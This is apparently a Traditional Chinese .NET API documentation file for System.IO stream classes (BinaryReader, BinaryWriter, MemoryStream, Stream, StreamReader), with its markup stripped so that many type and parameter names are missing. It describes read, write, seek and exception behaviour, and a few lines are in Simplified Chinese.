欲讀取的解碼字元數大於 。如果 Unicode 解碼器傳回後援字元或 Surrogate 組，就會發生這個情況。 + 已關閉資料流。 + 發生 I/O 錯誤。 + + 為負值。 + 2 + + + 自目前資料流讀取十進位值，並將資料流的目前位置前移十六個位元組。 + 自目前資料流讀取的十進位值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組浮點數值，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 2 位元組帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自目前資料流讀取的 2 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自目前資料流讀取的 8 位元組帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自資料流讀取帶正負號的位元組，並將資料流目前位置前移一個位元組。 + 自資料流讀取的帶正負號的位元組。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組浮點數值，並將資料流目前位置前移四個位元組。 + 自目前資料流讀取的 4 位元組浮點數值。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取字串。字串會以長度為前置字元，每次以七位元編碼為一整數。 + 讀取的字串。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 以位元組由小到大的編碼方式自目前資料流讀取 2 位元組不帶正負號的整數，並將資料流目前位置前移兩個位元組。 + 自這個資料流讀取 2 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 4 位元組不帶正負號的整數，並將資料流目前位置前移四個位元組。 + 自這個資料流讀取 4 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 2 + + + 自目前資料流讀取 8 位元組不帶正負號的整數，並將資料流目前位置前移八個位元組。 + 自這個資料流讀取 8 位元組不帶正負號的整數。 + 已到達資料流的末端。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 2 + + + 以二進位方式將基本型別 (Primitive Type) 寫入資料流，並支援以特定編碼方式寫入字串。 + 2 + + + 初始化 類別的新執行個體，其將寫入資料流。 + + + 根據指定的資料流並使用 UTF-8 編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 資料流不支援寫入，或已經關閉。 + + 為 null。 + + + 根據指定的資料流和字元編碼方式，初始化 類別的新執行個體。 + 輸出資料流。 + 要使用的字元編碼。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 根據指定的資料流和特定的字元編碼方式，初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 輸出資料流。 + 要使用的字元編碼。 + true 表示在處置 物件之後，將資料流保持開啟，否則為 false。 + 資料流不支援寫入，或已經關閉。 + + 或 是 null。 + + + 取得 的基礎資料流。 + 與 BinaryWriter 相關聯的基礎資料流。 + 1 + + + 將 類別目前的執行個體所使用的資源全部釋出。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示會同時釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 清除目前寫入器 (Writer) 的所有緩衝區，並造成任何緩衝資料都寫入基礎裝置。 + 1 + + + 指定沒有備份存放區的 。 + 1 + + + 容納基礎資料流。 + + + 設定目前資料流位置。 + 目前資料流的位置。 + 相對於 的位元組位移。 + + 的欄位，表示要取得新位置的參考點。 + 檔案指標已移至無效的位置。 + + 值是無效的。 + 1 + + + 寫入一位元組的 Boolean 值至目前資料流，其中 0 表示 false，1 表示 true。 + 要寫入的 Boolean 值 (0 或 1)。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將不帶正負號 (Unsigned) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的不帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將位元組陣列寫入基礎資料流。 + 含有要寫入之資料的位元組陣列。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 為 null。 + 1 + + + 將一個區域的位元組陣列寫入目前資料流。 + 含有要寫入之資料的位元組陣列。 + + 中要開始寫入的起始點。 + 要寫入的位元組數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將 Unicode 字元寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 非 Surrogate，要寫入的 Unicode 字元。 + 發生 I/O 錯誤。 + 已關閉資料流。 + + 是單一 Surrogate 字元。 + 1 + + + 將字元陣列寫入至目前資料流，並按照所使用的 Encoding 和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 為 null。 + 已關閉資料流。 + 發生 I/O 錯誤。 + 1 + + + 將字元陣列中的一區段寫入至目前的資料流，並按照所使用的 Encoding 和可能為寫入資料流的特定字元，將資料流中目前的位置往前移。 + 含有要寫入之資料的字元陣列。 + + 中要開始寫入的起始點。 + 要寫入的字元數。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將十進位值寫入目前的資料流，並將資料流位置往前移十六個位元組。 + 要寫入的十進位值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組浮點數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將二位元組帶正負號的整數 (Signed Integer) 寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組帶正負號的整數寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將帶正負號 (Signed) 位元組寫入目前資料流，並將資料流位置前移一個位元組。 + 要寫入的帶正負號位元組。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組浮點數 (Floating-Point) 值寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組浮點數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將有長度前置字元的字串以目前 的編碼方式寫入此資料流，並按照所使用的編碼方式和寫入資料流的特定字元，將資料流中目前的位置往前移。 + 要寫入的值。 + 發生 I/O 錯誤。 + + 為 null。 + 已關閉資料流。 + 1 + + + 將二位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移兩個位元組。 + 要寫入的二位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將四位元組不帶正負號的整數寫入目前資料流，並將資料流目前位置前移四個位元組。 + 要寫入的四位元組不帶正負號的整數。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 將八位元組不帶正負號的整數值寫入目前資料流，並將資料流目前位置前移八個位元組。 + 要寫入的八位元組不帶正負號的整數值。 + 發生 I/O 錯誤。 + 已關閉資料流。 + 1 + + + 以壓縮格式寫入 32 位元整數。 + 要寫入的 32 位元整數。 + 已到達資料流的末端。 + 已關閉資料流。 + 已關閉資料流。 + + + 嘗試超過資料流末端進行讀取時所擲回的例外狀況。 + 2 + + + 將其訊息字串設定為系統提供的訊息且將其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + + + 使用其訊息字串設定為 和其 HRESULT 設定為 COR_E_ENDOFSTREAM，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + + + 使用指定的錯誤訊息和造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 描述錯誤的字串。 的內容必須能讓人了解。這個建構函式的呼叫端必須確保這個字串已經為目前系統的文化特性當地語系化。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 資料流在格式無效時擲回的例外狀況。 + + + 初始化 類別的新執行個體。 + + + 使用指定的錯誤訊息，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + + + 使用造成這個例外狀況原因的內部例外參考，初始化 類別的新執行個體。 + 解釋例外狀況原因的錯誤訊息。 + 導致目前例外狀況的例外。如果 參數不是 null，則目前的例外狀況會在處理內部例外的 catch 區塊中引發。 + + + 建立支援的存放區為記憶體的資料流。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 使用初始化為零的可擴展容量，初始化 類別的新執行個體。 + + + 根據指定的位元組陣列，初始化 類別之不可調整大小的執行個體。 + 用於建立目前資料流之不帶正負號位元組的陣列。 + + 為 null。 + + + 根據具有指定的 屬性設定之位元組陣列，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + + 根據位元組陣列的指定區域 (索引)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 為 null。 + + 或 小於零。 + 緩衝區長度減去 小於 。 + + + 根據位元組陣列的指定區域 (且該區域使用依指定所設定的 屬性)，來初始化 類別之新的不可調整大小的執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 根據指定的位元組陣列區域 (且該區域使用依指定所設定的 屬性和依指定所設定的呼叫 的能力)，來初始化 類別的新執行個體。 + 用於建立這個資料流之不帶正負號位元組的陣列。 + + 中資料流開始處的索引。 + 資料流的長度，以位元組為單位。 + + 屬性的設定，決定資料流是否支援寫入。 + 啟用 (傳回從其中建立資料流的不帶正負號的位元組陣列)，則為 true；否則為 false。 + + 為 null。 + + 或 為負值。 + 緩衝區長度減去 小於 。 + + + 使用初始化為指定的可擴展容量，初始化 類別的新執行個體。 + 內部陣列的初始大小，以位元組為單位。 + + 為負值。 + + + 取得表示目前資料流是否支援讀取的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援搜尋的值。 + true，如果資料流已開啟。 + 2 + + + 取得表示目前資料流是否支援寫入的值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 2 + + + 取得或設定配置給這個資料流的位元組數目。 + 資料流緩衝區可使用部分的長度。 + 設定的容量為負數或小於資料流目前的長度。 + 目前的資料流已經關閉。 + set 在無法修改其容量的資料流上被叫用 (Invoke)。 + 2 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。 + 用來監視是否有取消要求的語彙基元。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 類別所使用的 Unmanaged 資源，並選擇性地釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 覆寫 方法，以便不執行任何動作。 + 2 + + + 非同步清除這個資料流的所有緩衝區，並監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。 + 已處置資料流。 + + + 取得資料流的長度，以位元組為單位。 + 資料流的長度，以位元組為單位。 + 已關閉資料流。 + 2 + + + 取得或設定資料流中目前的位置。 + 在資料流的目前位置。 + 位置設為負數值或大於 的值。 + 已關閉資料流。 + 2 + + + 從目前的資料流讀取位元組區塊，並且將資料寫入緩衝區。 + 寫入至緩衝區的總位元組數。如果目前無法提供那麼多的位元組數目，則這個數目可能小於所要求的位元組數目，或如果在讀取任何資料之前已經到達資料流末端，則為零。 + 當這個方法返回時，會包含具有介於 和 ( + - 1) 之值的指定位元組陣列，該值是由讀取自目前資料流的字元所取代。 + + 中以零為起始的位元組位移，用來開始儲存讀取自目前資料流的資料。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + 緩衝區的長度減去 小於 。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從目前的資料流讀取位元組。 + 轉型為 的位元組；如果已經到達資料流的末端，則為 -1。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流中的位置設定為指定的數值。 + 資料流中的新位置，是組合初始的參考點和位移計算出來的。 + 資料流中的新位置。這是相對於 參數，並且可能是正數或負數。 + + 類型的值，做為搜尋參考點。 + 在資料流開頭之前嘗試搜尋。 + + 大於 。 + 有無效的 。-或- 造成了算術溢位。 + 目前的資料流執行個體已關閉。 + 2 + + + 將目前資料流的長度設定為指定的數值。 + 要設定長度的數值。 + 目前的資料流不是可調整大小的，並且 大於目前的容量。-或- 目前的資料流不支援寫入。 + + 為負，或大於 的最大長度，最大長度是 ( - 原點)，原點是資料流開始的基礎緩衝區索引。 + 2 + + + 不論 屬性為何，將資料流內容寫入位元組陣列。 + 新的位元組陣列。 + 2 + + + 傳回用於建立這個資料流之不帶正負號位元組的陣列。指出轉換是否成功的傳回值。 + 如果轉換成功，則為 true；否則為 false。 + 從其中建立此資料流的位元組陣列區段。 + + + 使用讀取自緩衝區的資料，將位元組區塊寫入至目前的資料流。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入的最大位元組數。 + + 為 null。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 和 位元組相比，目前的位置更接近資料流末端，並且容量無法修改。 + 緩衝區的長度減去 小於 。 + + 或 為負值。 + 發生 I/O 錯誤。 + 目前的資料流執行個體已關閉。 + 2 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入位元組至資料流目前位置。 + 要寫入的位元組。 + 資料流不支援寫入。如需詳細資訊，請參閱 。-或- 目前的位置在資料流結尾，並且無法修改容量。 + 目前的資料流已經關閉。 + 2 + + + 將這個記憶體資料流的整個內容寫入另一個資料流。 + 要寫入這個記憶體資料流的資料流。 + + 為 null。 + 目前的資料流或目標資料流已經關閉。 + 2 + + + 指定資料流中要用於搜尋的位置。 + 2 + + + 指定資料流的開端。 + + + 指定資料流中的目前位置。 + + + 指定資料流的末端。 + + + 提供位元組順序的一般觀點。這是 abstract 類別。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 2 + + + 初始化 類別的新執行個體。 + + + 在衍生類別中覆寫時，取得指示目前的資料流是否支援讀取的數值。 + 如果資料流支援讀取，則為 true；否則為 false。 + 1 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援搜尋的數值。 + 如果資料流支援搜尋，則為 true；否則為 false。 + 1 + + + 取得值，該值判斷目前的資料流是否可以逾時。 + 值，判斷目前的資料流是否可以逾時。 + 2 + + + 在衍生類別中覆寫時，取得指示目前資料流是否支援寫入的數值。 + 如果資料流支援寫入，則為 true；否則，為 false。 + 1 + + + 從目前資料流讀取位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 使用指定的緩衝區大小，從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流不支援讀取。-或- 不支援寫入。 + 目前資料流或 已經在呼叫 方法之前關閉。 + 發生 I/O 錯誤。 + + + 以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + + 為 null。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小，以非同步的方式從目前資料流讀取所有位元組，並將其寫入另一個資料流中。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 使用指定的緩衝區大小和取消語彙基元，以非同步的方式從目前資料流讀取位元組，並將其寫入另一個資料流。 + 表示非同步複製作業的工作。 + 目前資料流的內容將複製到其中的資料流。 + 緩衝區的大小 (以位元組為單位)。這個值必須大於零。預設大小為 81920。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 為負值或零。 + 目前資料流或目的資料流已處置。 + 目前資料流不支援讀取，或目的資料流不支援寫入。 + + + 釋放 所使用的所有資源。 + + + 釋放 所使用的 Unmanaged 資源，並選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 當在衍生類別中覆寫時，會清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 發生 I/O 錯誤。 + 2 + + + 以非同步的方式清除這個資料流的所有緩衝區，並造成所有緩衝資料都寫入基礎裝置。 + 表示非同步排清作業的工作。 + 已處置資料流。 + + + 以非同步的方式清除這個資料流的所有緩衝區，造成任何緩衝資料都寫入基礎裝置，並且監視取消要求。 + 表示非同步排清作業的工作。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + 已處置資料流。 + + + 在衍生類別中覆寫時，取得資料流的長度 (以位元組為單位)。 + 代表資料流長度的長數值 (以位元組為單位)。 + 衍生自 Stream 的類別不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 沒有底層存放區的 Stream。 + 1 + + + 在衍生類別中覆寫時，取得或設定在目前資料流的位置。 + 在資料流的目前位置。 + 發生 I/O 錯誤。 + 資料流不支援搜尋。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 當在衍生類別中覆寫時，自目前資料流讀取一連串的位元組，並依所讀取的位元組數目進階資料流中的位置。 + 緩衝區所讀取的總位元組數。如果目前無法取得足夠的位元組，則這個數目可能小於所要求的位元組數，如果已經到達資料流末端，則為零 (0)。 + 位元組陣列。當這個方法返回時，緩衝區會包含具有介於 和 ( + - 1) 值的指定位元組陣列，由從目前來源讀取的位元組所取代。 + + 中以零起始的位元組位移，即開始儲存讀取自目前資料流之資料的位置。 + 自目前資料流讀取的最大位元組數。 + + 和 的總和大於緩衝區的長度。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 以非同步的方式從目前的資料流讀取位元組序列，並依讀取的位元組數將資料流中的位置往前移。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 以非同步的方式從目前資料流讀取一連串的位元組、依所讀取的位元組數目進階資料流中的位置，以及監視取消要求。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 寫入資料的緩衝區。 + 開始於此處自資料流寫入資料的 中的位元組位移。 + 要讀取的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援讀取。 + 已處置資料流。 + 資料流目前由先前讀取作業所使用。 + + + 從資料流讀取一個位元組，並將資料流的位置推進一個位元組；如果在資料流末端，則傳回 -1。 + 轉型為 Int32 的不帶正負號位元組，如果在資料流末端，則為 -1。 + 資料流不支援讀取。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試讀取多長時間。 + + 方法必須擲回 。 + 2 + + + 在衍生類別中覆寫時，設定在目前資料流的位置。 + 目前資料流的新位置。 + 相對於 參數的位元組位移。 + + 類型的值，表示用來取得新位置的參考點。 + 發生 I/O 錯誤。 + 資料流不支援搜尋，例如資料流為管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 1 + + + 在衍生類別中覆寫時，設定目前資料流的長度。 + 想要的目前資料流長度 (單位為位元組)。 + 發生 I/O 錯誤。 + 資料流不支援寫入和搜尋，例如，如果資料流是從管道或主控台 (Console) 輸出所建構。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 在衍生類別中覆寫時，將一連串的位元組寫入目前的資料流，並且由這個資料流中目前的位置前移寫入的位元組數目。 + 位元組陣列。此方法會從 複製 位元組到目前資料流。 + + 中以零起始的位元組位移，即開始將位元組複製到目前資料流的位置。 + 寫入目前資料流的位元組數目。 + 总和  和  大于缓冲区长度。 + + 是 null。 + + 或  为负。 + 将出现 I/O 错误，如找不到指定的文件。 + 資料流不支援寫入。 + + 流关闭后调用。 + 1 + + + 以非同步的方式將位元組序列寫入至目前的資料流，並依寫入的位元組數將資料流中目前的位置往前移。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 以非同步的方式將一連串的位元組寫入目前的資料流，由這個資料流中目前的位置前移寫入的位元組數目，並且監視取消要求。 + 表示非同步寫入作業的工作。 + 寫入資料的來源緩衝區。 + + 中以零起始的位元組位移，要從其中開始將位元組複製至資料流。 + 寫入的最大位元組數。 + 用來監視是否有取消要求的語彙基元。預設值是 。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 資料流不支援寫入。 + 已處置資料流。 + 資料流目前由先前寫入作業所使用。 + + + 寫入一個位元組至資料流的目前位置，並將資料流位置推進一個位元組。 + 寫入資料流的位元組。 + 發生 I/O 錯誤。 + 資料流不支援寫入，或資料流已經關閉。 + 在資料流關閉後，會呼叫方法。 + 2 + + + 取得或設定值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + 值 (以毫秒為單位)，該值決定在逾時前資料流將嘗試寫入多長時間。 + + 方法必須擲回 。 + 2 + + + 實作以特定的編碼方式自位元組資料流讀取字元的 。若要浏览此类型的.NET Framework 源代码，请参阅 Reference Source。 + 1 + + + 為指定的資料流，初始化 類別的新執行個體。 + 要讀取的資料流。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的位元組順序標記偵測選項，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 為 null。 + + + 使用指定的字元編碼，針對指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼和位元組順序標記偵測選項，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + + 不支援讀取。 + + 或 為 null。 + + + 使用指定的字元編碼、位元組順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體。 + 要讀取的資料流。 + 要使用的字元編碼。 + 表示是否在檔案開頭尋找位元組順序標記。 + 最小緩衝區大小。 + 資料流不支援讀取。 + + 或 為 null。 + + 小於或等於零值。 + + + 根據指定的字元編碼、位元順序標記偵測選項和緩衝區大小，為指定的資料流初始化 類別的新執行個體，並選擇性讓資料流保持開啟。 + 要讀取的資料流。 + 要使用的字元編碼。 + true 表示在檔案開頭尋找位元順序標記；否則為 false。 + 最小緩衝區大小。 + true 表示在處置 物件之後，將資料流保持開啟；否則為 false。 + + + 傳回基礎資料流。 + 基礎資料流。 + 2 + + + 取得目前 物件使用的目前字元編碼。 + 目前讀取器所使用的字元編碼。在第一次呼叫 的任何 方法之後其值可能不同，因為編碼方式的自動偵測要等到第一次呼叫 方法後才完成。 + 2 + + + 清除內部緩衝區。 + 2 + + + 關閉基礎資料流，接著釋放 所使用的 Unmanaged 資源，然後再選擇性釋放 Managed 資源。 + true 表示釋放 Managed 和 Unmanaged 資源，false 則表示只釋放 Unmanaged 資源。 + + + 取得表示現行資料流位置是否在資料流結尾的值。 + 如果現行資料流位置在資料流的結尾，則為 true；否則為 false。 + 已處置基礎資料流。 + 1 + + + 空資料流周圍的 物件。 + 1 + + + 傳回下一個可供使用的字元，但不使用它。 + 整數，表示要讀取的下一個字元，如果沒有要讀取的字元或資料流不支援搜尋，則為 -1。 + 發生 I/O 錯誤。 + 1 + + + 自輸入資料流讀取下一個字元，並將字元位置前移一個字元。 + 來自輸入資料流的下一個字元會以 物件來表示；如果不再有可以使用的字元，則以 -1 表示。 + 發生 I/O 錯誤。 + 1 + + + 從目前資料流讀取指定的字元數目上限，在指定的索引位置開始讀入緩衝區中。 + 已讀取字元數，或為 0 (如果處於資料流末端而無資料讀取)。數目將小於或等於 參數，取決於資料流內是否有資料可供使用。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + 要開始寫入的 的索引。 + 要讀取的字元數上限。 + 緩衝區長度減去 小於 。 + + 為 null。 + + 或 為負值。 + 發生 I/O 錯誤，例如資料流已經關閉。 + 1 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則目前的方法會傳回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 從目前資料流讀取指定的最大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 已經讀取的字元數目。數目將小於或等於 ，取決於是否已經讀取所有輸入字元。 + 當這個方法返回時，會包含具有介於 和 () 的值之指定字元陣列，這個值是由從目前來源讀取的字元所取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。 + + 為 null。 + 緩衝區長度減去 小於 。 + + 或 為負值。 + + 已經關閉。 + 發生 I/O 錯誤。 + + + 從目前的資料流非同步讀取指定的取大字元數目，並從指定的索引開始將資料寫入緩衝區。 + 表示非同步讀取作業的工作。 參數的值會包含讀取至緩衝區的位元組總數。如果目前可供使用的位元組數目少於所要求的數目，結果值可能會小於所要求的位元組數目，或者如果已經到達資料流末端，則可能為 0 (零)。 + 當這個方法傳回時，會包含指定的字元陣列，而該字元陣列中具有介於 和 ( + - 1) 之間的值，會由從目前來源讀取而來的字元取代。 + + 中要開始寫入的位置。 + 要讀取的字元數上限。如果指定的字元數寫入緩衝區之前，便到達資料流末端，則方法會返回。 + + 為 null。 + + 或 為負值。 + + 和 的總和大於緩衝區的長度。 + 已處置資料流。 + 讀取器目前由先前讀取作業所使用。 + + + 